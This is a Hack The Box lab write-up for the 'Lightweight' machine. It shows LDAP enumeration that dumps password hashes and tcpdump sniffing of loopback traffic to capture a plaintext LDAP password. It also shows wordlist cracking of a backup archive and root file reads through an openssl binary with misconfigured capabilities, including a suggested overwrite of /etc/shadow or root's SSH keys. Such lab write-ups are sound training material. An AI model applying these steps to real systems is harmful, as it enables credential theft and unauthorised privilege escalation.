HTB Writeup: Lightweight

Posted on Fri 22 February 2019 in Writeups

lightweight OS Linux
Author m0xEA31
Difficulty Medium
Points 30
Released 08-12-2018
IP 10.10.10.119

Summary

User flag is obtainable after leveraging misconfigured OpenLDAP (plaintext authentication). Root flag is accessible after leveraging another misconfiguration - wrongly set capabilities for openssl binary.

Reconnaissance

Again, I started with basic nmap numeration. You can read more about my methodology in previous articles (e.g. Ypuffy writeup). This host had only 3 ports open to public.

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

OpenSSH in this version supposedly allows to enumerate users (CVE-2018-15473, CVE-2018-15919). It might be handy in the future.

Apache in version 2.4.6 does not seems to have serious vulnerabilities (excluding DoS). Visiting default site shows us website created using Slendr with warning about presence of brutforce protecion mechanism.

Further browsing give us an idea how to obtain first shell.

It is worth notice strangly long response time while viting Status page.

I also complete basic OpenLDAP enumeration using nmap.

root@kali:~/HTB_machines/10.10.10.119# nmap -T4 --script=ldap* -p389 10.10.10.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-21 15:50 CET
Nmap scan report for 10.10.10.119
Host is up (0.024s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       namingContexts: dc=lightweight,dc=htb
|       supportedControl: 2.16.840.1.113730.3.4.18
|       supportedControl: 2.16.840.1.113730.3.4.2
|       supportedControl: 1.3.6.1.4.1.4203.1.10.1
|       supportedControl: 1.3.6.1.1.22
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.826.0.1.3344810.2.3
|       supportedControl: 1.3.6.1.1.13.2
|       supportedControl: 1.3.6.1.1.13.1
|       supportedControl: 1.3.6.1.1.12
|       supportedExtension: 1.3.6.1.4.1.1466.20037
|       supportedExtension: 1.3.6.1.4.1.4203.1.11.1
|       supportedExtension: 1.3.6.1.4.1.4203.1.11.3
|       supportedExtension: 1.3.6.1.1.8
|       supportedLDAPVersion: 3
|_      subschemaSubentry: cn=Subschema
| ldap-search:
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001

Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

So now we have several more information. We know that there most likely are two users present (it could be confirmed with OpenSSH bug) with coresponding hashed password.

ldapuser1:$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/ ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1

Unix shadow format tells us that these password where hashed using SHA-512 with 8 characters salt. So it is not looking good from attacker point of view. Nevertheless I used small dictonary with hashcat but with no luck.

It is time to check if new user was really added to the box as the http://10.10.10.119/user.php page stated.

root@kali:~/HTB_machines/10.10.10.119# ssh 10.10.14.16@10.10.10.119
10.10.14.16@10.10.10.119's password:
[10.10.14.16@lightweight ~]$ id
uid=1003(10.10.14.16) gid=1003(10.10.14.16) groups=1003(10.10.14.16) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.16@lightweight ~]$ pwd
/home/10.10.14.16
[10.10.14.16@lightweight ~]$ ls -la /home
total 0
drwxr-xr-x.  6 root        root         77 Feb 22 10:40 .
dr-xr-xr-x. 17 root        root        224 Jun 13  2018 ..
drwx------.  4 10.10.14.16 10.10.14.16  91 Feb 22 11:15 10.10.14.16
drwx------.  4 10.10.14.2  10.10.14.2   91 Nov 16 22:39 10.10.14.2
drwx------.  4 ldapuser1   ldapuser1   181 Jun 15  2018 ldapuser1
drwx------.  4 ldapuser2   ldapuser2   197 Jun 21  2018 ldapuser2
[10.10.14.16@lightweight ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
ldapuser1:x:1000:1000::/home/ldapuser1:/bin/bash
ldapuser2:x:1001:1001::/home/ldapuser2:/bin/bash
10.10.14.2:x:1002:1002::/home/10.10.14.2:/bin/bash
10.10.14.16:x:1003:1003::/home/10.10.14.16:/bin/bash

Well it did! And we confirmed that ldapuser1 and ldapuser2 exists.

Exploitation

So if we have shell lets look around. I used linux-enum-mod.sh with my little modifications. It shows me bunch of useful things. Two of them espesially cought my eye. Netstat output:

###############################################################################################################################################################################
##
##  Netstat
##
###############################################################################################################################################################################

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:389             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0   3748 10.10.10.119:22         10.10.14.16:60568       ESTABLISHED -
tcp6       0      0 :::389                  :::*                    LISTEN      -
tcp6       0      0 :::111                  :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 0.0.0.0:806             0.0.0.0:*                           -
udp        0      0 127.0.0.1:323           0.0.0.0:*                           -
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -
udp6       0      0 :::806                  :::*                                -
udp6       0      0 ::1:323                 :::*                                -
udp6       0      0 :::111                  :::*                                -
Netid State      Recv-Q Send-Q                                        Local Address:Port                                                       Peer Address:Port
udp   UNCONN     0      0                                                         *:806                                                                   *:*
udp   UNCONN     0      0                                                 127.0.0.1:323                                                                   *:*
udp   UNCONN     0      0                                                         *:111                                                                   *:*
udp   UNCONN     0      0                                                        :::806                                                                  :::*
udp   UNCONN     0      0                                                       ::1:323                                                                  :::*
udp   UNCONN     0      0                                                        :::111                                                                  :::*
tcp   LISTEN     0      128                                                       *:443                                                                   *:*
tcp   LISTEN     0      128                                                       *:389                                                                   *:*
tcp   LISTEN     0      128                                                       *:111                                                                   *:*
tcp   LISTEN     0      128                                                       *:80                                                                    *:*
tcp   LISTEN     0      128                                                       *:22                                                                    *:*
tcp   ESTAB      0      4976                                           10.10.10.119:22                                                          10.10.14.16:60568
tcp   LISTEN     0      128                                                      :::389                                                                  :::*
tcp   LISTEN     0      128                                                      :::111                                                                  :::*
tcp   LISTEN     0      128                                                      :::22                                                                   :::*

and checking linux capabilities find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null

/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

I saw that there is some process listening on port TCP/443. And that my user can use tcpdump.

[10.10.14.16@lightweight ~]$ ls -ls /usr/sbin/tcpdump
924 -rwxr-xr-x. 1 root root 942304 Apr 11  2018 /usr/sbin/tcpdump

Of course the easiest solustion would be to use suexec but I couldn't.

[10.10.14.16@lightweight ~]$ ls -la /usr/sbin/suexec
-r-x--x---. 1 root apache 15448 Apr 20  2018 /usr/sbin/suexec

So I set up listener and on second console I queried for status.php page. However it most likely could be done from remote host as well.

[10.10.14.16@lightweight ~]$ tcpdump -i lo tcp and not port 22 -w /tmp/file.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
^C49 packets captured
98 packets received by filter
0 packets dropped by kernel

[10.10.14.16@lightweight ~]$ curl -v -k -g 'https://127.1/status.php' -H 'Host: lightweight.htb'
* About to connect() to 127.1 port 443 (#0)
*   Trying 127.0.0.1...
* Connected to 127.1 (127.0.0.1) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate:
*   subject: E=root@lightweight.htb,CN=lightweight.htb,OU=SomeOrganizationalUnit,O=SomeOrganization,L=SomeCity,ST=SomeState,C=--
*   start date: Jun 07 20:23:41 2018 GMT
*   expire date: Jun 07 20:23:41 2019 GMT
*   common name: lightweight.htb
*   issuer: E=root@lightweight.htb,CN=lightweight.htb,OU=SomeOrganizationalUnit,O=SomeOrganization,L=SomeCity,ST=SomeState,C=--
> GET /status.php HTTP/1.1
> User-Agent: curl/7.29.0
> Accept: */*
> Host: lightweight.htb
>
< HTTP/1.1 200 OK
< Date: Fri, 22 Feb 2019 12:23:47 GMT
< Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Content-Length: 1052
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en" >


<head>
  <meta charset="UTF-8">
  <title>Lightweight slider evaluation page - slendr</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
  <link rel='stylesheet prefetch' href='https://fonts.googleapis.com/css?family=Roboto:100,300'>
  <link rel='stylesheet prefetch' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css'>
  <link rel="stylesheet" href="css/style.css">
</head>

<body>

<div class="slider-content">
<div class="slider-box">
<h1>List of banned IPs</h1>

<p><i>You may or may not see this page when you are banned. </i><br><br>
<p><i>This page has been generated at 2019/02/22 12:24:27. Data is refreshed every minute.</i>
</p>
<p></p>
<p><br><br><a href="index.php">home</a>&nbsp;&nbsp;<a href="info.php">info</a>&nbsp;&nbsp;<a href="status.php">status</a>&nbsp;&nbsp;<a href="user.php">user</a></p>
 </div>
</div>
</body>
</html>
* Connection #0 to host 127.1 left intact

Now lets check what we have captured.

[10.10.14.16@lightweight ~]$ strings /tmp/file.pcap
%o\e
_W8x"
F"kx
    SomeState1
SomeCity1
SomeOrganization1
SomeOrganizationalUnit1
lightweight.htb1#0!
root@lightweight.htb0
180607202341Z
190607202341Z0
    SomeState1
SomeCity1
SomeOrganization1
SomeOrganizationalUnit1
lightweight.htb1#0!
root@lightweight.htb0
!byNp;:
%Ll^
{NLl
i@D9
k<T;g
S-d'
U   p=
%o\y
%o\b
uCX7.
L=gM+
%o\".
%o\}.
-uid=ldapuser2,ou=People,dc=lightweight,dc=htb
 8bc8251332abe1d7f105d3e53ad39ac2
QuuB
-)}M
E3*[R2y
lyVouZ
g]Eo
 ZSZx
dQd5
Bp7E
R-p9
:<lVx
3ABh
n]&,f]V
20i$.
_||R{q
{Z2B
bIO$X
%o\t

Hmm and what we have here:

-uid=ldapuser2,ou=People,dc=lightweight,dc=htb
8bc8251332abe1d7f105d3e53ad39ac2

Look's interesting. Peek at pcap in Wireshark gives full answer - this is password for user ldapuser2

Lets use it to obtain user flag.

[10.10.14.16@lightweight ~]$ su ldapuser2
Password:
[ldapuser2@lightweight 10.10.14.16]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser2@lightweight 10.10.14.16]$ cd
[ldapuser2@lightweight ~]$ ls -la
total 1880
drwx------. 4 ldapuser2 ldapuser2     197 Jun 21  2018 .
drwxr-xr-x. 6 root      root           77 Feb 22 10:40 ..
-rw-r--r--. 1 root      root         3411 Jun 14  2018 backup.7z
-rw-------. 1 ldapuser2 ldapuser2       0 Jun 21  2018 .bash_history
-rw-r--r--. 1 ldapuser2 ldapuser2      18 Apr 11  2018 .bash_logout
-rw-r--r--. 1 ldapuser2 ldapuser2     193 Apr 11  2018 .bash_profile
-rw-r--r--. 1 ldapuser2 ldapuser2     246 Jun 15  2018 .bashrc
drwxrwxr-x. 3 ldapuser2 ldapuser2      18 Jun 11  2018 .cache
drwxrwxr-x. 3 ldapuser2 ldapuser2      18 Jun 11  2018 .config
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13  2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--. 1 ldapuser2 ldapuser2  379983 Jun 13  2018 OpenLdap.pdf
-rw-r--r--. 1 root      root           33 Jun 15  2018 user.txt
[ldapuser2@lightweight ~]$ cat user.txt
8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX6

Post exploitation

Due to the fact that I saw capabilities set for suexec I assumed privilege escalation migth something to do with apache user. And if not, still if I would be able to execute code as apache I would be able to set SUID bit for my payload.

/usr/sbin/suexec = cap_setgid,cap_setuid+ep

So I wanted to inspect existing php files.

[ldapuser2@lightweight ~]$ ls -la /var/www/html/
total 24
drwxr-xr-x. 4 root apache  146 Feb 22 14:37 .
drwxr-xr-x. 4 root root     33 Jun 21  2018 ..
-rw-r--r--. 1 root root      0 Feb 22 14:37 banned.txt
drwxr-xr-x. 2 root root     23 Jun 13  2018 css
    -rw-r-----. 1 root apache 4218 Jun 13  2018 index.php
-rw-r-----. 1 root apache 1764 Jun 13  2018 info.php
drwxr-xr-x. 2 root root     22 Jun 13  2018 js
-rw-r-----. 1 root apache 1321 Jun 15  2018 reset.php
-rw-rw----. 1 root apache    0 Feb 22 14:37 reset_req
-rw-r-----. 1 root apache 2400 Jun 14  2018 status.php
-rw-r-----. 1 root apache 1528 Jun 13  2018 user.php

Unfortunately I couldn't even read those files.

Luckly in ldapuser2's home there was password protected archive - backup.7z and I was able to list its content.

root@kali:~/HTB_machines/10.10.10.119# 7z l backup.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel Core Processor (Skylake, IBRS) (506E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Listing archive: backup.7z

--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-06-13 19:48:41 ....A         4218         3152  index.php
2018-06-13 19:47:14 ....A         1764               info.php
2018-06-10 16:08:57 ....A          360               reset.php
2018-06-14 20:06:33 ....A         2400               status.php
2018-06-13 19:47:46 ....A         1528               user.php
------------------- ----- ------------ ------------  ------------------------
2018-06-14 20:06:33              10270         3152  5 files

Good. Seems like this archive contains files I am interested with. Now I need to find the password. I started brutforcing it and meanwhile I look for it inside the machine.

root@kali:~/HTB_machines/10.10.10.119# ./7zip-jtr.sh backup.7z /usr/share/wordlists/metasploit/password.lst 2>/dev/null
7zip-JTR Decrypt Script

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Westmere E56xx/L56xx/X56xx (IBRS update) (206C1),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Listing archive: backup.7z

--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-06-13 19:48:41 ....A         4218         3152  index.php
2018-06-13 19:47:14 ....A         1764               info.php
2018-06-10 16:08:57 ....A          360               reset.php
2018-06-14 20:06:33 ....A         2400               status.php
2018-06-13 19:47:46 ....A         1528               user.php
------------------- ----- ------------ ------------  ------------------------
2018-06-14 20:06:33              10270         3152  5 files
Generating wordlist...
Archive password is: "delete"

Turned out brutforce was quicker.

After reading them, in status.php I have found ldapuser1 password.

<?php
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
$ldapconfig['host'] = 'lightweight.htb';
$ldapconfig['port'] = '389';
$ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
//$ldapconfig['usersdn'] = 'cn=users';
$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_set_option($ds, LDAP_OPT_NETWORK_TIMEOUT, 10);

$dn="uid=ldapuser1,ou=People,dc=lightweight,dc=htb";

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("<p><i>You may or may not see this page when you are banned. </i><br><br>");
} else {
  echo("Unable to bind to server.</br>");
  echo("msg:'".ldap_error($ds)."'</br>".ldap_errno($ds)."");
  if ($bind=ldap_bind($ds)) {
    $filter = "(cn=*)";
    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {
        var_dump($info[$i]);
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

Lets use it to switch to this user.

[ldapuser2@lightweight ~]$ su - ldapuser1
Password:
[ldapuser1@lightweight ~]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser1@lightweight ~]$ ls -la
total 1496
drwx------. 4 ldapuser1 ldapuser1    181 Jun 15  2018 .
drwxr-xr-x. 6 root      root          77 Feb 22 10:40 ..
-rw-------. 1 ldapuser1 ldapuser1      0 Jun 21  2018 .bash_history
-rw-r--r--. 1 ldapuser1 ldapuser1     18 Apr 11  2018 .bash_logout
-rw-r--r--. 1 ldapuser1 ldapuser1    193 Apr 11  2018 .bash_profile
-rw-r--r--. 1 ldapuser1 ldapuser1    246 Jun 15  2018 .bashrc
drwxrwxr-x. 3 ldapuser1 ldapuser1     18 Jun 11  2018 .cache
-rw-rw-r--. 1 ldapuser1 ldapuser1   9714 Jun 15  2018 capture.pcap
drwxrwxr-x. 3 ldapuser1 ldapuser1     18 Jun 11  2018 .config
-rw-rw-r--. 1 ldapuser1 ldapuser1    646 Jun 15  2018 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13  2018 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13  2018 tcpdump

I once again used linux-enum-mod.sh and once again linux capabilities popped out, this time a little bit different.

/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

From this point it was clear and simple.

Privilege escalation

Having blank capability set on openssl gives us endless possibilities. From manual:

Set-user-ID-root programs that have file capabilities
Executing a program that is both set-user-ID root and has file capa‐ bilities will cause the process to gain just the capabilities granted by the program (i.e., not all capabilities, as would occur when exe‐ cuting a set-user-ID-root program that does not have any associated file capabilities). Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID- root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process.

So we are able to run openssl with EUID 0. And openssl is very powerful tool. We can read and write files by it. But I'm lazy and the goal is to read the contents of /root/root.txt file so I quickly will go for it.

Firsly I needed to have valid ssl keys in order to setup ssl server.

[ldapuser1@lightweight ~]$ cd /dev/shm
[ldapuser1@lightweight shm]$ ls -la
total 0
drwxrwxrwt.  2 root root   40 Feb 18 01:03 .
drwxr-xr-x. 20 root root 3220 Feb 21 22:07 ..
[ldapuser1@lightweight shm]$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Generating a 2048 bit RSA private key
.......................+++
...+++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:
State or Province Name (full name) []:
Locality Name (eg, city) [Default City]:
Organization Name (eg, company) [Default Company Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:
Email Address []:
[ldapuser1@lightweight shm]$ ls
cert.pem  key.pem

Then lets start openssl in s_server mode.

[ldapuser1@lightweight shm]$ cd /
[ldapuser1@lightweight /]$ /home/ldapuser1/openssl s_server -key /dev/shm/key.pem -cert /dev/shm/cert.pem -port 1234 -HTTP

And just read content of root flag.

[10.10.14.16@lightweight ~]$ curl -v -k -g 'https://127.1:1234/root/root.txt'
* About to connect() to 127.1 port 1234 (#0)
*   Trying 127.0.0.1...
* Connected to 127.1 (127.0.0.1) port 1234 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate:
*   subject: O=Default Company Ltd,L=Default City,C=XX
*   start date: Feb 21 23:49:20 2019 GMT
*   expire date: Feb 21 23:49:20 2020 GMT
*   common name: (nil)
*   issuer: O=Default Company Ltd,L=Default City,C=XX
> GET /root/root.txt HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 127.1:1234
> Accept: */*
>
fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXa
* Connection #0 to host 127.1 left intact

Voilà.

Root shell

If we would like to have full root shell we can utilize openssl in encryption mode to write new /ect/shadow or /root/.ssh/id_rsa.pub files, e.g.

openssl aes-256-cbc -d -a -in secrets.txt.enc -out /root/.ssh/id_rsa.pub

Official writeup